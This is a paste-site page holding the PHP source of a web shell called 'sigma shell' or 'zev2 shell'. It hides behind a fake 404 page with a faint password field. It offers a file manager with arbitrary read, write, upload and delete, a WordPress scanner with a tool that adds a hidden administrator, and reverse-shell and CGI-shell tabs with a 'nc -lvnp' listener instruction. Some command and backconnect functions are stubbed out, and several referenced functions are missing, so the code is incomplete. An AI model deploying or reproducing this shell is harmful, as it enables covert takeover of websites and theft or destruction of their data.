PasteShr

New Paste Browse

<?php
// ================ LOGIN SYSTEM ================
session_start();

$valid_hash = '$2y$10$wg9lRJsLZgU0Dk0BRMowU.87PjIOMQiDSKNfHF3YcPFNabEPlF/Fm';

// Cek apakah sudah login
if (!isset($_SESSION['sigma_access'])) {
    // Cek form login
    if (isset($_POST['sigma_pass'])) {
        if (password_verify($_POST['sigma_pass'], $valid_hash)) {
            $_SESSION['sigma_access'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        }
    }
    
    // Tampilkan halaman 404 palsu dengan form login
    http_response_code(404);
    $requested_url = $_SERVER['REQUEST_URI'] ?? '/';
    ?>
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html>
    <head>
        <title>404 Not Found</title>
        <style>
            .sigma-form {
                position: fixed;
                bottom: 20px;
                left: 50%;
                transform: translateX(-50%);
                opacity: 0.15;
                transition: opacity 0.3s ease;
                text-align: center;
                pointer-events: auto;
                z-index: 1000;
            }
            .sigma-form:hover { opacity: 0.4; }
            .sigma-form input {
                background: transparent;
                border: 1px solid #ccc;
                color: #333;
                padding: 6px 12px;
                font-size: 13px;
                font-family: 'Times New Roman', serif;
                width: 150px;
                border-radius: 0;
            }
            .sigma-form input:focus {
                outline: none;
                border-color: #666;
                background: rgba(255,255,255,0.1);
            }
            .sigma-form button {
                background: transparent;
                border: 1px solid #ccc;
                color: #333;
                padding: 6px 12px;
                font-size: 13px;
                font-family: 'Times New Roman', serif;
                cursor: pointer;
                margin-left: 5px;
            }
            .sigma-form button:hover { background: rgba(0,0,0,0.05); }
            .sigma-hint { display: none; }
            .error-msg {
                position: fixed;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%);
                background: rgba(255,0,0,0.1);
                border: 1px solid #ff0000;
                color: #ff0000;
                padding: 5px 10px;
                font-size: 12px;
                font-family: monospace;
                opacity: 0.7;
            }
        </style>
    </head>
    <body>
        <h1>Not Found</h1>
        <p>The requested URL <?php echo htmlspecialchars($requested_url); ?> was not found on this server.</p>
        <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
        
        
        
        <form method="POST" class="sigma-form" autocomplete="off">
            <input type="password" name="sigma_pass" placeholder="••••••">
            <button type="submit">→</button>
        </form>
        
        <?php if (isset($_POST['sigma_pass'])): ?>
            <div class="error-msg">Access denied</div>
        <?php endif; ?>
        
        <script>
        (function() {
            const form = document.querySelector('.sigma-form');
            const input = form.querySelector('input');
            input.addEventListener('focus', function() { form.style.opacity = '0.8'; });
            input.addEventListener('blur', function() { form.style.opacity = '0.15'; });
        })();
        </script>
    </body>
    </html>
    <?php
    exit;
}

// ================ ORIGINAL ALFA.PHP ================
error_reporting(0);
ini_set('display_errors', 0);
// set_time_limit di-disable di InfinityFree, jadi tidak dipanggil

// Helper untuk cek fungsi yang benar-benar bisa dipanggil
function isDisabled($fn) {
    static $disabled = null;
    if ($disabled === null) {
        $disabled = array_map('trim', explode(',', (string)@ini_get('disable_functions')));
    }
    return in_array($fn, $disabled, true);
}

function canCall($fn) {
    return function_exists($fn) && !isDisabled($fn);
}

function backConnect($type, $ip, $port) {
    return false;
}

function createCGIShell($type, $base_path) {
    return false;
}

// FUNGSI FILE MANAGER

function safePerms($path) {
    $p = @fileperms($path);
    if ($p === false) return '0000';
    return substr(sprintf('%o', $p), -4);
}

function formatSize($bytes) {
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

// AJAX HANDLERS

if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
    header('Content-Type: application/json');
    
    if (isset($_POST['action'])) {
        $response = ['success' => false, 'message' => '', 'data' => null];
        
        switch ($_POST['action']) {
            case 'list':
                $dir = $_POST['dir'] ?? '.';
                $items = listDir($dir);
                $response['success'] = true;
                $response['data'] = $items;
                break;
                
            case 'rename':
                $old = $_POST['old'] ?? '';
                $new = $_POST['new'] ?? '';
                if ($old && $new && file_exists($old) && @rename($old, $new)) {
                    $response['success'] = true;
                    $response['message'] = 'Renamed successfully';
                }
                break;
                
            case 'delete':
                $path = $_POST['path'] ?? '';
                if ($path && file_exists($path)) {
                    if (is_dir($path)) {
                        $success = true;
                        $it = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::CHILD_FIRST
                        );
                        foreach ($it as $f) {
                            if ($f->isDir()) $success = @rmdir($f->getRealPath()) && $success;
                            else $success = @unlink($f->getRealPath()) && $success;
                        }
                        $success = @rmdir($path) && $success;
                        $response['success'] = $success;
                        $response['message'] = $success ? 'Deleted' : 'Delete failed';
                    } else {
                        if (@unlink($path)) {
                            $response['success'] = true;
                            $response['message'] = 'Deleted';
                        }
                    }
                }
                break;
                
            case 'save':
                $file = $_POST['file'] ?? '';
                $content = $_POST['content'] ?? '';
                if ($file && @file_put_contents($file, $content) !== false) {
                    $response['success'] = true;
                    $response['message'] = 'Saved';
                }
                break;
                
            case 'chmod':
                if (isDisabled('chmod') || !function_exists('chmod')) {
                    $response['success'] = false;
                    $response['message'] = 'chmod() disabled on this host';
                    break;
                }
                $path = $_POST['path'] ?? '';
                $perms = $_POST['perms'] ?? '';
                if ($path && $perms && @chmod($path, octdec($perms))) {
                    $response['success'] = true;
                    $response['message'] = 'Permissions changed';
                }
                break;
                
            case 'mkdir':
                $dir = $_POST['dir'] ?? '';
                if ($dir && !file_exists($dir) && @mkdir($dir, 0755, true)) {
                    $response['success'] = true;
                    $response['message'] = 'Directory created';
                }
                break;
                
            case 'mkfile':
                $file = $_POST['file'] ?? '';
                $content = $_POST['content'] ?? '';
                if ($file && @file_put_contents($file, $content) !== false) {
                    $response['success'] = true;
                    $response['message'] = 'File created';
                }
                break;
                
            case 'upload':
                if (isset($_FILES['file'])) {
                    $target = $_POST['path'] . '/' . basename($_FILES['file']['name']);
                    if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                        $response['success'] = true;
                        $response['message'] = 'Uploaded';
                    }
                }
                break;
                
            case 'read':
                $file = $_POST['file'] ?? '';
                if ($file && file_exists($file) && is_file($file)) {
                    $response['success'] = true;
                    $response['data'] = @file_get_contents($file);
                }
                break;
                
            case 'cmd':
                $response['success'] = false;
                $response['message'] = 'Command execution disabled on this host';
                break;
                
            case 'backconnect':
                $response['success'] = false;
                $response['message'] = 'Backconnect disabled on this host';
                break;
                
            case 'cgi':
                $response['success'] = false;
                $response['message'] = 'CGI shell disabled on this host';
                break;
                
            case 'wp_scan':
                $path = $_POST['path'] ?? '.';
                $sites = scanWordPress($path);
                $response['success'] = true;
                $response['sites'] = $sites;
                $response['count'] = count($sites);
                break;
                
            case 'wp_add':
                $path = $_POST['wp_path'] ?? '';
                $user = $_POST['username'] ?? '';
                $pass = $_POST['password'] ?? '';
                $email = $_POST['email'] ?? '';
                
                if ($path && $user && $pass && $email) {
                    $response = wpAddAdmin($path, $user, $pass, $email);
                } else {
                    $response['message'] = 'All fields required';
                }
                break;
        }
        
        echo json_encode($response);
        exit;
    }
}

// MAIN SHELL

$cwd = isset($_GET['dir']) ? $_GET['dir'] : '.';
$cwd = @realpath($cwd);
if (!$cwd) $cwd = @realpath('.');
if (!$cwd) $cwd = '/';
if ($cwd[strlen($cwd)-1] != '/') $cwd .= '/';

$sys_info = getSystemInfo();
?>
<!DOCTYPE html>
<html>
<head>
    <title>sigma shell</title>
    <meta charset="UTF-8">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #1e1e2f;
            color: #e0e0e0;
            padding: 20px;
        }
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: #2d2d3a;
            border-radius: 12px;
            padding: 25px;
            box-shadow: 0 8px 30px rgba(0,0,0,0.3);
        }
        .sys-info {
            background: #252532;
            border-radius: 10px;
            padding: 20px;
            margin-bottom: 25px;
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            border: 1px solid #3a3a4a;
        }
        .info-item {
            padding: 10px;
            background: #1e1e2b;
            border-radius: 8px;
            border-left: 3px solid #4a9eff;
        }
        .info-label {
            font-size: 12px;
            color: #8a8fa0;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            margin-bottom: 5px;
        }
        .info-value {
            font-size: 14px;
            color: #fff;
            font-weight: 500;
            word-break: break-all;
        }
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 15px;
            border-bottom: 1px solid #3a3a4a;
        }
        .header h1 { font-size: 24px; font-weight: 600; color: #fff; }
        .header h1 span { color: #4a9eff; font-size: 14px; margin-left: 10px; font-weight: normal; }
        .menu-tabs {
            display: flex;
            gap: 2px;
            margin-bottom: 20px;
            background: #252532;
            padding: 10px;
            border-radius: 8px;
            border: 1px solid #3a3a4a;
        }
        .tab-btn {
            padding: 10px 20px;
            background: #3a3a4a;
            color: #8a8fa0;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            transition: all 0.2s;
        }
        .tab-btn:hover { background: #4a9eff; color: #fff; }
        .tab-btn.active { background: #4a9eff; color: #fff; }
        .path {
            background: #252532;
            padding: 12px 18px;
            border-radius: 8px;
            margin-bottom: 20px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            border: 1px solid #3a3a4a;
            display: flex;
            align-items: center;
            gap: 10px;
            flex-wrap: wrap;
        }
        .path a { color: #4a9eff; text-decoration: none; }
        .path a:hover { text-decoration: underline; }
        .actions { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; }
        .btn {
            padding: 10px 18px;
            background: #3a3a4a;
            color: #fff;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            transition: all 0.2s;
            display: inline-flex;
            align-items: center;
            gap: 5px;
        }
        .btn:hover { background: #4a4a5a; transform: translateY(-1px); }
        .btn-primary { background: #4a9eff; }
        .btn-primary:hover { background: #6aafff; }
        .btn-success { background: #2ecc71; }
        .btn-success:hover { background: #27ae60; }
        .btn-danger { background: #e74c3c; }
        .btn-danger:hover { background: #c0392b; }
        .btn-warning { background: #f39c12; }
        .btn-warning:hover { background: #e67e22; }
        .tools-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(350px, 1fr));
            gap: 20px;
            margin-bottom: 25px;
        }
        .tool-card {
            background: #252532;
            border-radius: 10px;
            border: 1px solid #3a3a4a;
            overflow: hidden;
        }
        .tool-header {
            background: #1e1e2b;
            padding: 15px 20px;
            font-weight: 600;
            color: #4a9eff;
            border-bottom: 1px solid #3a3a4a;
            cursor: pointer;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .tool-header:hover { background: #2a2a38; }
        .tool-header .toggle-icon { transition: transform 0.3s; font-size: 12px; color: #8a8fa0; }
        .tool-header.collapsed .toggle-icon { transform: rotate(-90deg); }
        .tool-body { padding: 20px; transition: all 0.3s; }
        .tool-body.collapsed { display: none; }
        .tool-body input, .tool-body select, .tool-body textarea {
            width: 100%;
            padding: 10px 12px;
            margin-bottom: 12px;
            background: #1e1e2b;
            border: 1px solid #3a3a4a;
            border-radius: 6px;
            color: #fff;
            font-size: 14px;
        }
        .tool-body input:focus, .tool-body select:focus, .tool-body textarea:focus {
            outline: none;
            border-color: #4a9eff;
        }
        .tool-body label { display: block; margin-bottom: 5px; color: #8a8fa0; font-size: 13px; }
        .tool-row { display: flex; gap: 10px; margin-bottom: 12px; }
        .tool-row input { flex: 1; margin-bottom: 0; }
        .file-table { width: 100%; border-collapse: collapse; margin-bottom: 20px; font-size: 13px; }
        .file-table th {
            background: #252532;
            padding: 10px 6px;
            text-align: left;
            font-weight: 600;
            color: #8a8fa0;
            border-bottom: 2px solid #3a3a4a;
            font-size: 12px;
            white-space: nowrap;
        }
        .file-table td { padding: 8px 6px; border-bottom: 1px solid #3a3a4a; white-space: nowrap; }
        .file-table tr:hover { background: #323240; }
        .file-table .dir { color: #4a9eff; font-weight: 500; }
        .file-table .file { color: #e0e0e0; }
        .perms { font-family: 'Courier New', monospace; color: #8a8fa0; letter-spacing: 0.5px; }
        .size { font-family: 'Courier New', monospace; color: #8a8fa0; text-align: right; padding-right: 10px; }
        .actions-cell { display: flex; gap: 2px; flex-wrap: nowrap; }
        .action-btn {
            padding: 3px 6px;
            font-size: 10px;
            border-radius: 3px;
            background: #3a3a4a;
            color: #fff;
            border: none;
            cursor: pointer;
            transition: all 0.2s;
            min-width: 32px;
            text-align: center;
        }
        .action-btn:hover { background: #4a4a5a; }
        .action-btn.edit { background: #f39c12; }
        .action-btn.download { background: #3498db; }
        .action-btn.rename { background: #95a5a6; }
        .action-btn.perms { background: #9b59b6; }
        .action-btn.delete { background: #e74c3c; }
        .shell-section {
            background: #252532;
            border-radius: 10px;
            margin-top: 25px;
            border: 1px solid #3a3a4a;
            overflow: hidden;
        }
        .shell-header {
            background: #1e1e2b;
            padding: 15px 20px;
            font-weight: 600;
            color: #4a9eff;
            border-bottom: 1px solid #3a3a4a;
        }
        .shell-input { display: flex; padding: 15px; background: #2d2d3a; gap: 10px; }
        .shell-input input {
            flex: 1;
            padding: 12px 15px;
            background: #1e1e2b;
            border: 1px solid #3a3a4a;
            border-radius: 6px;
            color: #fff;
            font-family: 'Courier New', monospace;
            font-size: 14px;
        }
        .shell-input input:focus { outline: none; border-color: #4a9eff; }
        .shell-output {
            background: #1a1a25;
            color: #00ff00;
            padding: 15px;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            white-space: pre-wrap;
            word-break: break-all;
            max-height: 300px;
            overflow-y: auto;
            border-top: 1px solid #3a3a4a;
        }
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            z-index: 1000;
            backdrop-filter: blur(5px);
        }
        .modal-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: #2d2d3a;
            padding: 30px;
            border-radius: 12px;
            min-width: 400px;
            max-width: 90%;
            max-height: 90vh;
            overflow-y: auto;
            box-shadow: 0 20px 60px rgba(0,0,0,0.5);
            border: 1px solid #4a4a5a;
        }
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 10px;
            border-bottom: 1px solid #3a3a4a;
        }
        .modal-header h3 { color: #fff; font-size: 18px; }
        .close { color: #8a8fa0; font-size: 24px; cursor: pointer; transition: color 0.2s; }
        .close:hover { color: #fff; }
        .form-group { margin-bottom: 20px; }
        .form-group label { display: block; margin-bottom: 8px; color: #8a8fa0; font-size: 13px; font-weight: 500; }
        .form-group input, .form-group textarea, .form-group select {
            width: 100%;
            padding: 10px 12px;
            background: #1e1e2b;
            border: 1px solid #3a3a4a;
            border-radius: 6px;
            color: #fff;
            font-size: 14px;
        }
        .form-group input:focus, .form-group textarea:focus, .form-group select:focus {
            outline: none;
            border-color: #4a9eff;
        }
        .form-group textarea { min-height: 300px; font-family: 'Courier New', monospace; resize: vertical; }
        .modal-footer { display: flex; gap: 10px; justify-content: flex-end; margin-top: 20px; }
        .cgi-iframe {
            width: 100%;
            height: 500px;
            border: 2px solid #3a3a4a;
            border-radius: 8px;
            background: #1e1e2f;
            margin-top: 15px;
        }
        .alert {
            position: fixed;
            top: 20px;
            right: 20px;
            padding: 15px 25px;
            background: #2d2d3a;
            border-left: 4px solid #4a9eff;
            border-radius: 6px;
            color: #fff;
            box-shadow: 0 5px 20px rgba(0,0,0,0.3);
            z-index: 2000;
            animation: slideIn 0.3s ease;
        }
        .alert.success { border-left-color: #2ecc71; }
        .alert.error { border-left-color: #e74c3c; }
        @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
        .hidden { display: none; }
        .spinner {
            display: inline-block;
            width: 20px;
            height: 20px;
            border: 2px solid #3a3a4a;
            border-top-color: #4a9eff;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin-right: 10px;
            vertical-align: middle;
        }
        @keyframes spin { to { transform: rotate(360deg); } }
        ::-webkit-scrollbar { width: 8px; height: 8px; }
        ::-webkit-scrollbar-track { background: #1e1e2b; border-radius: 8px; }
        ::-webkit-scrollbar-thumb { background: #3a3a4a; border-radius: 8px; }
        ::-webkit-scrollbar-thumb:hover { background: #4a4a5a; }
    </style>
</head>
<body>
<div class="container">
    <div class="sys-info">
        <div class="info-item">
            <div class="info-label">Kernel</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['kernel']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">User</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['user']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Disabled Functions</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['disabled']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">PHP Version</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['phpver']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Server IP</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['server_ip']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Your IP</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['client_ip']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Software</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['software']); ?></div>
        </div>
    </div>

<div class="header">
        <h1>zev2 shell <span>v2.0</span></h1>
    </div>

<div class="menu-tabs">
        <button class="tab-btn active" onclick="showTab('files')">File Manager</button>
        <button class="tab-btn" onclick="showTab('backconnect')">Back Connect</button>
        <button class="tab-btn" onclick="showTab('cgi')">CGI Shell</button>
        <button class="tab-btn" onclick="showTab('wordpress')">WordPress</button>
    </div>

<div id="tab-files" class="tab-content">
        <div class="path" id="currentPath">
            <?php
            $parts = explode('/', trim($cwd, '/'));
            $path = '';
            echo '<a href="#" onclick="changeDir(\'/\')">~</a>';
            foreach ($parts as $p) {
                if ($p) {
                    $path .= '/' . $p;
                    echo ' / <a href="#" onclick="changeDir(\'' . htmlspecialchars($path) . '\')">' . htmlspecialchars($p) . '</a>';
                }
            }
            ?>
        </div>

<div class="actions">
            <button onclick="showModal('upload')" class="btn btn-primary">Upload</button>
            <button onclick="showModal('mkdir')" class="btn btn-success">New Folder</button>
            <button onclick="showModal('mkfile')" class="btn btn-warning">New File</button>
            <button onclick="goUp()" class="btn">Up</button>
            <button onclick="refreshDir()" class="btn">Refresh</button>
        </div>

<table class="file-table" id="fileTable">
            <thead>
                <tr>
                    <th width="30%">Name</th>
                    <th width="8%">Size</th>
                    <th width="8%">Perms</th>
                    <th width="15%">Owner/Group</th>
                    <th width="19%">Modified</th>
                    <th width="20%">Actions</th>
                </tr>
            </thead>
            <tbody id="fileList">
                <tr><td colspan="6" style="text-align:center; padding:40px;"><span class="spinner"></span> Loading...</td></tr>
            </tbody>
        </table>
    </div>

<div id="tab-backconnect" class="tab-content hidden">
        <div class="tools-grid">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Reverse Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Type</label>
                    <select id="bc_type">
                        <option value="php">PHP</option>
                        <option value="perl">Perl</option>
                        <option value="python">Python</option>
                        <option value="bash">Bash</option>
                    </select>
                    <label>IP Address</label>
                    <input type="text" id="bc_ip" value="<?php echo htmlspecialchars($sys_info['client_ip']); ?>">
                    <label>Port</label>
                    <input type="text" id="bc_port" value="4444">
                    <button onclick="backConnect()" class="btn btn-danger" style="width:100%">Connect</button>
                </div>
            </div>
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Instructions</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <pre style="background:#1e1e2b; padding:15px; border-radius:8px; font-size:12px; color:#8a8fa0; border:1px solid #3a3a4a;">
1. Listen on your machine:
   nc -lvnp [port]

2. Click Connect button

3. Shell will connect back
                    </pre>
                </div>
            </div>
        </div>
    </div>

<div id="tab-cgi" class="tab-content hidden">
        <div class="tools-grid">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Perl CGI Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Base Path (akan dibuat folder .SIGMA)</label>
                    <input type="text" id="cgi_perl_path" value="<?php echo htmlspecialchars($cwd); ?>">
                    <button onclick="createCGI('perl')" class="btn btn-warning" style="width:100%">Create Perl CGI in .SIGMA</button>
                </div>
            </div>
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Python CGI Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Base Path (akan dibuat folder .SIGMA)</label>
                    <input type="text" id="cgi_python_path" value="<?php echo htmlspecialchars($cwd); ?>">
                    <button onclick="createCGI('python')" class="btn btn-warning" style="width:100%">Create Python CGI in .SIGMA</button>
                </div>
            </div>
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Bash CGI Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Base Path (akan dibuat folder .SIGMA)</label>
                    <input type="text" id="cgi_bash_path" value="<?php echo htmlspecialchars($cwd); ?>">
                    <button onclick="createCGI('bash')" class="btn btn-warning" style="width:100%">Create Bash CGI in .SIGMA</button>
                </div>
            </div>
        </div>
        <div id="cgiIframeContainer" style="margin-top:20px; display:none;">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>CGI Shell Access (.SIGMA folder)</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <iframe id="cgiIframe" class="cgi-iframe" src="about:blank"></iframe>
                    <div style="margin-top:15px; text-align:center;">
                        <a href="#" id="cgiIframeLink" target="_blank" class="btn btn-primary">Open in New Tab</a>
                    </div>
                </div>
            </div>
        </div>
    </div>

<div id="tab-wordpress" class="tab-content hidden">
        <div class="tools-grid">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>WordPress Admin Creator</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Scan Directory</label>
                    <input type="text" id="wp_scan_path" value="<?php echo htmlspecialchars($cwd); ?>">
                    <button onclick="scanWordPress()" class="btn btn-primary" style="width:100%; margin-bottom:15px">Scan for WordPress</button>
                    <div id="wp_sites_container" style="display:none; margin-bottom:15px">
                        <label>Select WordPress Site (with wp-load.php)</label>
                        <select id="wp_sites" style="width:100%;"></select>
                        <div id="wp_count_badge" style="margin-top:5px; font-size:12px; color:#8a8fa0;"></div>
                    </div>
                    <div id="wp_form" style="display:none">
                        <label>Username</label>
                        <input type="text" id="wp_user" value="admin">
                        <label>Password</label>
                        <input type="text" id="wp_pass" value="Admin@123">
                        <label>Email</label>
                        <input type="email" id="wp_email" value="admin@example.com">
                        <button onclick="addWordPressAdmin()" class="btn btn-success" style="width:100%">Add Admin User</button>
                    </div>
                </div>
            </div>
        </div>
    </div>

<div class="shell-section">
        <div class="shell-header">Terminal</div>
        <div class="shell-input">
            <input type="text" id="cmdInput" placeholder="Enter command..." onkeypress="if(event.keyCode==13) executeCommand()">
            <button onclick="executeCommand()" class="btn btn-primary">Execute</button>
            <button onclick="clearOutput()" class="btn">Clear</button>
        </div>
        <div class="shell-output" id="shellOutput"></div>
    </div>
</div>

<div id="uploadModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Upload File</h3><span class="close" onclick="closeModal('upload')">&times;</span></div>
        <form id="uploadForm" enctype="multipart/form-data">
            <div class="form-group"><label>Select File</label><input type="file" name="file" required></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('upload')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-primary">Upload</button>
            </div>
        </form>
    </div>
</div>

<div id="mkdirModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Create Directory</h3><span class="close" onclick="closeModal('mkdir')">&times;</span></div>
        <form id="mkdirForm">
            <div class="form-group"><label>Directory Name</label><input type="text" name="dir_name" required></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('mkdir')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-success">Create</button>
            </div>
        </form>
    </div>
</div>

<div id="mkfileModal" class="modal">
    <div class="modal-content" style="min-width:600px">
        <div class="modal-header"><h3>Create File</h3><span class="close" onclick="closeModal('mkfile')">&times;</span></div>
        <form id="mkfileForm">
            <div class="form-group"><label>File Name</label><input type="text" name="file_name" required></div>
            <div class="form-group"><label>Content</label><textarea name="content" rows="10"></textarea></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('mkfile')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-warning">Create</button>
            </div>
        </form>
    </div>
</div>

<div id="renameModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Rename</h3><span class="close" onclick="closeModal('rename')">&times;</span></div>
        <form id="renameForm">
            <input type="hidden" name="old_path" id="old_path">
            <div class="form-group"><label>New Name</label><input type="text" name="new_path" id="new_path" required></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('rename')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-primary">Rename</button>
            </div>
        </form>
    </div>
</div>

<div id="chmodModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Change Permissions</h3><span class="close" onclick="closeModal('chmod')">&times;</span></div>
        <form id="chmodForm">
            <input type="hidden" name="path" id="chmod_path">
            <div class="form-group"><label>Permissions (e.g., 0755)</label><input type="text" name="perms" id="chmod_perms" required pattern="[0-7]{4}" placeholder="0755"></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('chmod')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-primary">Change</button>
            </div>
        </form>
    </div>
</div>

<div id="editModal" class="modal">
    <div class="modal-content" style="min-width:800px">
        <div class="modal-header"><h3>Edit File: <span id="editFileName"></span></h3><span class="close" onclick="closeModal('edit')">&times;</span></div>
        <form id="editForm">
            <input type="hidden" name="file_path" id="edit_path">
            <div class="form-group"><textarea name="content" id="edit_content" style="min-height:400px"></textarea></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('edit')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-success">Save</button>
            </div>
        </form>
    </div>
</div>

<div id="deleteModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Confirm Delete</h3><span class="close" onclick="closeModal('delete')">&times;</span></div>
        <p id="deleteMessage" style="margin:20px 0; color:#e0e0e0;"></p>
        <form id="deleteForm">
            <input type="hidden" name="path" id="delete_path">
            <div class="modal-footer">
                <button type="button" onclick="closeModal('delete')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-danger">Delete</button>
            </div>
        </form>
    </div>
</div>

function showAlert(msg, type = 'success') {
    const alert = document.createElement('div');
    alert.className = `alert ${type}`;
    alert.textContent = msg;
    document.body.appendChild(alert);
    setTimeout(() => alert.remove(), 3000);
}

function showModal(type) {
    document.getElementById(type + 'Modal').style.display = 'block';
}

function closeModal(type) {
    document.getElementById(type + 'Modal').style.display = 'none';
}

function showTab(tab) {
    document.querySelectorAll('.tab-content').forEach(t => t.classList.add('hidden'));
    document.getElementById('tab-' + tab).classList.remove('hidden');
    document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
    event.target.classList.add('active');
    if (tab === 'files') loadFileList();
}

function toggleTool(header) {
    header.classList.toggle('collapsed');
    header.nextElementSibling.classList.toggle('collapsed');
}

function formatSize(bytes) {
    if (bytes >= 1073741824) return (bytes / 1073741824).toFixed(2) + ' GB';
    if (bytes >= 1048576) return (bytes / 1048576).toFixed(2) + ' MB';
    if (bytes >= 1024) return (bytes / 1024).toFixed(2) + ' KB';
    return bytes + ' B';
}

function refreshDir() { loadFileList(); }
function goUp() { changeDir(currentDir.substring(0, currentDir.lastIndexOf('/')) || '/'); }

function renameItem(path, name) {
    path = decodeURIComponent(path);
    name = decodeURIComponent(name);
    document.getElementById('old_path').value = path;
    document.getElementById('new_path').value = path.substring(0, path.lastIndexOf('/') + 1) + name;
    showModal('rename');
}

function deleteItem(path) {
    document.getElementById('delete_path').value = decodeURIComponent(path);
    document.getElementById('deleteMessage').textContent = 'Delete: ' + decodeURIComponent(path) + '?';
    showModal('delete');
}

function chmodItem(path, perms) {
    document.getElementById('chmod_path').value = decodeURIComponent(path);
    document.getElementById('chmod_perms').value = perms;
    showModal('chmod');
}

function downloadFile(path) {
    window.open('?action=download&file=' + path, '_blank');
}

function clearOutput() {
    document.getElementById('shellOutput').innerHTML = '';
}

window.onclick = e => {
    document.querySelectorAll('.modal').forEach(m => {
        if (e.target === m) m.style.display = 'none';
    });
};

loadFileList();
</script>
</body>
</html>

Paste Settings

Paste Title : [Optional]

Paste Folder : [Optional]

Syntax Highlighting : [Optional]

Paste Expiration : [Optional]

Paste Status : [Optional]

Password : [Optional]

Description: [Optional]

Tags: [Optional]

Encrypt Paste (?)

You are currently not logged in, this means you can not edit or delete anything you paste. Sign Up or Login

Recent Pastes

Untitled
Plaintext | 19 | 2 hours ago
Untitled
Plaintext | 769 | 3 hours ago
Untitled
Plaintext | 7 | 3 hours ago
as
Plaintext | 20 | 8 hours ago
tiny
Plaintext | 22 | 9 hours ago
tiny
Plaintext | 30 | 1 day ago
Untitled
